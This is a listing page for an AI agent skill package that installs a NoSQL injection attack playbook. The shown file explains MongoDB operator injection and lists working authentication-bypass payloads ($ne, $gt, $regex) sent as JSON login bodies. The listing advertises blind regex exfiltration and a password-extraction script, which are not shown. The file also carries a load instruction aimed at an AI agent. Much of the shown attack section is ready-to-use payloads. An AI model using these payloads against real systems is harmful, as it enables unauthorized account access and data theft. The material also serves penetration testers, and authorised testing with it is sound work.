Nosql Injection

This is the playbook you need if you're testing anything with MongoDB, CouchDB, or Redis on the backend. It's not SQL injection with a fresh coat of paint. The entire attack surface is different: you're injecting query operators like $ne and $gt instead of breaking out of quotes, using $regex for blind character extraction instead of UNION, and exploiting JSON parsing quirks in Express or PHP to turn password fields into objects. Covers authentication bypass, blind data exfiltration via regex oracle, $where JavaScript injection, and even CouchDB's often-exposed admin API on port 5984. Includes a Python template for automating character-by-character password extraction. Most pentesters who only know SQL patterns completely miss these.

skills.sh installs: 3.7K
GitHub stars: 2.6K
last updated: Aug 21, 2026

View on GitHub

Install

$ npx -y skills add yaklang/hack-skills --skill nosql-injection --agent claude-code

Installs into .claude/skills of the current project.

Files

SKILL: NoSQL Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: NoSQL injection is fundamentally different from SQL injection. Covers MongoDB operator injection, authentication bypass, blind extraction, aggregation pipeline injection, and Redis/CouchDB specific attacks. Very commonly missed by testers who only know SQLi patterns.

1. CORE CONCEPT — OPERATOR INJECTION

SQL Injection breaks out of string literals.
NoSQL Injection injects query operators that change query logic.

MongoDB example — normal query:

db.users.find({username: "alice", password: "secret"})

Injection via JSON operator:

{
  "username": "admin",
  "password": {"$gt": ""}
}

→ Becomes: find({username:"admin", password:{$gt:""}}) → password > "" → always true!

2. MONGODB — LOGIN BYPASS

JSON Body Injection (API with JSON Content-Type)

POST /api/login
Content-Type: application/json

{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}

SKILL.md on GitHub